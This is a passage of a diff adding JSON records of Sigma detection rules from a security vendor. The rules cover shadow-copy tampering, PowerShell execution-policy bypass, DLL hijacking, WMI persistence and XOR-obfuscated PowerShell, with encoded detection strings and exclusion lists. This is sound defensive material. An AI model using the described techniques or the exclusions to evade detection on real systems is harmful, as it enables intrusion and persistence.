exclusion_veeam_archiver_proxy:\n        ProcessOriginalFileName: 'Veeam.Archiver.Proxy.exe'\n        ProcessDescription: 'Veeam.Archiver.Proxy'\n        ProcessCompany: 'Veeam Software Group GmbH'\n\n    exclusion_oracle:\n        # E:\\oracle\\product\\11.2.0\\dbhome_1\\BIN\\oravssw.exe\n        # E:\\oracle\\product\\12.2.0\\db\\bin\\oravssw.exe\n        # E:\\PRODUCT\\19.3\\db_home\\bin\\oravssw.ex\n        # E:\\Oracle\\bin\\oravssw.exe\n        # ...\n        ProcessImage: '*\\bin\\oravssw.exe'\n\n    exclusion_unsigned_rundll32_win7:\n        ProcessSha256: '3fa4912eb43fc304652d7b01f118589259861e2d628fa7c86193e54d5f987670'\n\n    exclusion_dismplusplus:\n        - ProcessOriginalFileName: 'Dism++.exe'\n          ProcessImage|endswith: '\\Dism++*.exe'\n        - ProcessImage|endswith: '\\Dism++\\Dism++x64.exe'\n\n    exclusion_aregiev:\n        ProcessImage:\n            - '?:\\ProgramData\\Aregiev??\\VSS\\VSS Aregiev??.exe'\n            - '?:\\ProgramData\\AvenioV??\\VSS\\VSS AvenioV??.exe'\n\n    exclusion_unitrends:\n        ProcessImage: '*\\WBPS.exe'\n        ProcessCompany: 'Unitrends Corporation'\n\n    exclusion_vss4dserver:\n        ProcessImage: '?:\\ProgramData\\4D Server\\VSS\\VSS 4D Server.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_vssressource:\n        ProcessImage: '?:\\ProgramData\\Ressource\\VSS\\VSS Ressource.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_rubrik:\n        ProcessCommandLine: '?:\\Users\\\\*\\AppData\\Local\\Temp\\rubrik_vmware*\\snaptool.exe -Snapshot'\n\n    exclusion_tiworker:\n        ProcessCommandLine:\n            - '?:\\Windows\\winsxs\\x86_microsoft-windows-servicingstack*\\TiWorker.exe -Embedding'\n            - '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack*\\TiWorker.exe -Embedding'\n\n    exclusion_nedap:\n        ProcessOriginalFileName: 'LibTagManager.exe'\n        ProcessDescription: 'LibTagManager'\n\n    exclusion_regparser:\n        ProcessImage: '?:\\\\*\\regparser_cpp\\x64\\release\\regparser_cpp.exe'\n\n    exclusion_npbackup:\n        ProcessImage|endswith: '\\npbackup\\restic.exe'\n        ProcessParentImage|endswith:\n            - '\\NPBACKUP\\npbackup-cli.exe'\n            - '\\NPBackup\\npbackup-gui\\npbackup-gui.exe'\n\n    exclusion_fdj:\n        ProcessOriginalFileName: 'FDJ.exe'\n        ProcessProduct:\n            - 'FDJ'\n            - 'Middleware BYG Informatique'\n\n    exclusion_irisdb:\n        ProcessOriginalFileName:\n            - 'irisdb.exe'\n            - 'cache.exe'\n        ProcessDescription:\n            - 'InterSystems IRIS Kernel'\n            - \"Cache' Kernel\"\n\n    exclusion_sv:\n        ProcessImage:\n            - '?:\\ProgramData\\SV??\\VSS\\VSS SV??.exe'\n            - '?:\\ProgramData\\Ajaris\\VSS\\VSS ajaris.exe'\n            - '?:\\ProgramData\\eo\\VSS\\VSS eo.exe'\n\n    exclusion_hdclone:\n        ProcessOriginalFileName: 'svc.win64.service.srv'\n        ProcessDescription|contains: 'VSS proxy'\n\n    exclusion_samlab:\n        ProcessOriginalFileName: 'SDI_?.??.?.exe'\n        ProcessProduct: 'Snappy Driver Installer'\n        ProcessCompany: 'www.SamLab.ws'\n\n    exclusion_migwiz:\n        ProcessOriginalFileName: 'migwiz.exe'\n        ProcessDescription: 'Windows Easy Transfer Application'\n        ProcessCompany: 'Microsoft Corporation'\n\n    exclusion_wmiprvse:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding'\n\n    exclusion_kentica:\n        ProcessImage: '?:\\ProgramData\\KentikaServer\\VSS\\VSS KentikaServer.exe'\n\n    exclusion_restic:\n        ProcessImage|endswith: '\\restic.exe'\n        ProcessCommandLine|contains: 'restic.exe backup -r '\n\n    exclusion_clbackup:\n        ProcessImage|endswith: '\\CLBackup.exe'\n        ProcessOriginalFileName: 'clBackup.exe'\n        ProcessCompany: 'Commvault'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "784b1d19-3290-4508-abce-87295ed4de1a",
+  "rule_name": "VSS COM Object DLL Loaded by Unsigned Process",
+  "rule_description": "Detects when the VSS COM Object DLL (vss_ps.dll) is loaded by an unsigned process.\nThis could be the sign of a possible attempt by an attacker to delete Volume Shadow Copies.\nVolume Shadow Copies (VSS) are partial copy-on-write clones of the filesystem that can be used as restoration points when a system is corrupted or encrypted by a ransomware.\nIt is recommended to analyze the process loading the DLL and to look for signs of ransomware-related activities on the host.\n",
+  "rule_creation_date": "2021-08-03",
+  "rule_modified_date": "2025-11-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "785695ea-ccf6-4b41-914c-1f0522b2cd71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079158Z",
+  "creation_date": "2026-03-23T11:45:34.079160Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079164Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1"
+  ],
+  "name": "t1562_001_powershell_restriction_removed.yml",
+  "content": "title: PowerShell Execution Policy Changed\nid: 785695ea-ccf6-4b41-914c-1f0522b2cd71\ndescription: |\n    Detects PowerShell execution policy being changed to Bypass or Unrestricted globally, in the Windows registry.\n    Attackers may want to alter the PowerShell execution policy to simplify the execution of malicious or unsigned scripts.\n    It is recommended to analyze the process reponsible for the registry edit to look for malicious content or actions.\n    It is also recommended to look for the subsequent execution of suspicious PowerShell scripts.\nreferences:\n    - https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1\ndate: 2020/11/23\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft\\.PowerShell\\ExecutionPolicy'\n        Details:\n            - 'Bypass'\n            - 'Unrestricted'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "785695ea-ccf6-4b41-914c-1f0522b2cd71",
+  "rule_name": "PowerShell Execution Policy Changed",
+  "rule_description": "Detects PowerShell execution policy being changed to Bypass or Unrestricted globally, in the Windows registry.\nAttackers may want to alter the PowerShell execution policy to simplify the execution of malicious or unsigned scripts.\nIt is recommended to analyze the process reponsible for the registry edit to look for malicious content or actions.\nIt is also recommended to look for the subsequent execution of suspicious PowerShell scripts.\n",
+  "rule_creation_date": "2020-11-23",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7868bb44-021b-4507-b436-948eee128c21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589536Z",
+  "creation_date": "2026-03-23T11:45:34.589539Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589546Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/dez_/status/1547612120094650374",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nativemessagingclient.yml",
+  "content": "title: DLL Hijacking via Microsoft.SharePoint.NativeMessagingClient.exe\nid: 7868bb44-021b-4507-b436-948eee128c21\ndescription: |\n    Detects potential Windows DLL Hijacking via Microsoft.SharePoint.NativeMessagingClient.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/dez_/status/1547612120094650374\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/07/19\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Microsoft.SharePoint.NativeMessaging.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\Secur32.dll'\n            - '\\VERSION.dll'\n            - '\\WININET.dll'\n            - '\\WTSAPI32.dll'\n            - '\\USERENV.dll'\n            - '\\SSPICLI.DLL'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7868bb44-021b-4507-b436-948eee128c21",
+  "rule_name": "DLL Hijacking via Microsoft.SharePoint.NativeMessagingClient.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Microsoft.SharePoint.NativeMessagingClient.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-07-19",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "789591b5-b238-4ee1-8c07-581219e9f298",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589832Z",
+  "creation_date": "2026-03-23T11:45:34.589836Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589844Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_reagentc.yml",
+  "content": "title: DLL Hijacking via reagentc.exe\nid: 789591b5-b238-4ee1-8c07-581219e9f298\ndescription: |\n    Detects potential Windows DLL Hijacking via reagentc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'reagentc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\dbghelp.dll'\n            - '\\ReAgent.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "789591b5-b238-4ee1-8c07-581219e9f298",
+  "rule_name": "DLL Hijacking via reagentc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via reagentc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "78dba5b0-1ea3-47fc-a4f4-ccc24ba63a84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076391Z",
+  "creation_date": "2026-03-23T11:45:34.076393Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076398Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://mgreen27.github.io/posts/2022/01/12/wmi-eventing.html",
+    "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
+    "https://attack.mitre.org/techniques/T1546/003/"
+  ],
+  "name": "t1546_003_wmi_suspicious_consumer.yml",
+  "content": "title: Suspicious WMI Consumer\nid: 78dba5b0-1ea3-47fc-a4f4-ccc24ba63a84\ndescription: |\n    Detects the creation of suspicious WMI consumer used to execute malicious actions on a specific trigger.\n    Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.\n    WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\n    By default, two consumers classes can be used maliciously:\n        - Script: execute the specified code or related script.\n        - Command-line: execute the specified command-line.\n\n    It is recommended to investigate this action to determine its legitimacy, you may use the Get-WmiObject PowerShell cmdlet and investigate any suspicious objects.\nreferences:\n    - https://mgreen27.github.io/posts/2022/01/12/wmi-eventing.html\n    - https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/\n    - https://attack.mitre.org/techniques/T1546/003/\ndate: 2023/12/07\nmodified: 2025/06/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.003\n    - classification.Windows.Source.WmiEvent\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    product: windows\n    category: wmi_event\ndetection:\n    selection:\n        EventID: 20\n        Type:\n            - Script\n            - Command Line\n        Operation:\n            - Created\n            - Modified\n\n    exclusion_hp:\n        - Name:\n            - HP USB-C Dock G5 Consumer\n            - HP Thunderbolt Dock G4 Consumer\n            - HP USB-C&A Universal Dock G2 Consumer\n            - HP Thunderbolt Dock G2 Consumer\n        - Destination: '?:\\Program Files\\HP\\HP Firmware Installer\\\\*\\HPFirmwareInstaller.exe'\n    exclusion_dell:\n        Name:\n            - DellCommandPowerManagerPolicyChangeEventConsumer\n            - DellCommandPowerManagerAlertEventConsumer\n    exclusion_default:\n        Name: 'BVTConsumer'\n        Destination: 'cscript KernCap.vbs'\n    exclusion_tenablead:\n        Name: 'AlsidForAD-Launcher'\n        Destination|contains: 'IOA\\Register-TenableADEventsListener.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "78dba5b0-1ea3-47fc-a4f4-ccc24ba63a84",
+  "rule_name": "Suspicious WMI Consumer",
+  "rule_description": "Detects the creation of suspicious WMI consumer used to execute malicious actions on a specific trigger.\nAdversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\nBy default, two consumers classes can be used maliciously:\n    - Script: execute the specified code or related script.\n    - Command-line: execute the specified command-line.\n\nIt is recommended to investigate this action to determine its legitimacy, you may use the Get-WmiObject PowerShell cmdlet and investigate any suspicious objects.\n",
+  "rule_creation_date": "2023-12-07",
+  "rule_modified_date": "2025-06-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "78e4265f-a2b1-4c20-abe1-dccac19c20b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608211Z",
+  "creation_date": "2026-03-23T11:45:34.608214Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608222Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/yellow-cockatoo/",
+    "https://redcanary.com/threat-detection-report/techniques/powershell/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1027/"
+  ],
+  "name": "t1059_001_powershell_xor_obfuscation_cmd.yml",
+  "content": "title: PowerShell XOR Obfuscation in Command-line\nid: 78e4265f-a2b1-4c20-abe1-dccac19c20b6\ndescription: |\n    Detects the use of XOR encoding in powershell.exe's command-line.\n    Attackers can used this technique to obfuscate its command-line to evade defenses.\n    It is recommended to de-obfuscate the command-line, to analyze it and to look for malicious content or actions stemming from the PowerShell process.\nreferences:\n    - https://redcanary.com/blog/yellow-cockatoo/\n    - https://redcanary.com/threat-detection-report/techniques/powershell/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1027/\ndate: 2021/06/24\nmodified: 2025/04/04\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.t1027\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_image:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_commandline:\n        CommandLine|contains:\n            # all possible permutations of ' -bxor ' (base64, utf16le, mixedcase)\n            - ' -bxor '\n            - 'IAAtAGIAeABPAHIAIA'\n            - 'AALQBiAHgATwByACAA'\n            - 'gAC0AYgB4AE8AcgAgA'\n            - 'IAAtAGIAWABvAFIAIA'\n            - 'AALQBiAFgAbwBSACAA'\n            - 'gAC0AYgBYAG8AUgAgA'\n            - 'IAAtAEIAeABPAHIAIA'\n            - 'AALQBCAHgATwByACAA'\n            - 'gAC0AQgB4AE8AcgAgA'\n            - 'IAAtAEIAWABvAFIAIA'\n            - 'AALQBCAFgAbwBSACAA'\n            - 'gAC0AQgBYAG8AUgAgA'\n            - 'IAAtAEIAeABvAFIAIA'\n            - 'AALQBCAHgAbwBSACAA'\n            - 'gAC0AQgB4AG8AUgAgA'\n            - 'IAAtAEIAeABPAFIAIA'\n            - 'AALQBCAHgATwBSACAA'\n            - 'gAC0AQgB4AE8AUgAgA'\n            - 'IAAtAEIAWABPAFIAIA'\n            - 'AALQBCAFgATwBSACAA'\n            - 'gAC0AQgBYAE8AUgAgA'\n            - 'IAAtAGIAWABPAFIAIA'\n            - 'AALQBiAFgATwBSACAA'\n            - 'gAC0AYgBYAE8AUgAgA'\n            - 'IAAtAGIAWABvAHIAIA'\n            - 'AALQBiAFgAbwByACAA'\n            - 'gAC0AYgBYAG8AcgAgA'\n            - 'IAAtAGIAeABPAFIAIA'\n            - 'AALQBiAHgATwBSACAA'\n            - 'gAC0AYgB4AE8AUgAgA'\n            - 'IAAtAGIAeABvAFIAIA'\n            - 'AALQBiAHgAbwBSACAA'\n            - 'gAC0AYgB4AG8AUgAgA'\n            - 'IAAtAGIAeABvAHIAIA'\n            - 'AALQBiAHgAbwByACAA'\n            - 'gAC0AYgB4AG8AcgAgA'\n            - 'IAAtAGIAWABPAHIAIA'\n            - 'AALQBiAFgATwByACAA'\n            - 'gAC0AYgBYAE8AcgAgA'\n            - 'IAAtAEIAWABvAHIAIA'\n            - 'AALQBCAFgAbwByACAA'\n            - 'gAC0AQgBYAG8AcgAgA'\n            - 'IAAtAEIAeABvAHIAIA'\n            - 'AALQBCAHgAbwByACAA'\n            - 'gAC0AQgB4AG8AcgAgA'\n            - 'IAAtAEIAWABPAHIAIA'\n            - 'AALQBCAFgATwByACAA'\n            - 'gAC0AQgBYAE8AcgAgA'\n\n    exclusion_programfiles:\n        ParentImage|startswith:\n            - '?:\\program files (x86)\\'\n            - '?:\\program files\\'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "78e4265f-a2b1-4c20-abe1-dccac19c20b6",
+  "rule_name": "PowerShell XOR Obfuscation in Command-line",
+  "rule_description": "Detects the use of XOR encoding in powershell.exe's command-line.\nAttackers can used this technique to obfuscate its command-line to evade defenses.\nIt is recommended to de-obfuscate the command-line, to analyze it and to look for malicious content or actions stemming from the PowerShell process.\n",
+  "rule_creation_date": "2021-06-24",
+  "rule_modified_date": "2025-04-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "78e70aaa-2977-414b-a2be-47a4f46026bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092962Z",
+  "creation_date": "2026-03-23T11:45:34.092965Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092972Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper",
+    "https://support.apple.com/fr-fr/guide/security/sec5599b66df/web",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_add_gatekeeper_whitelist.yml",
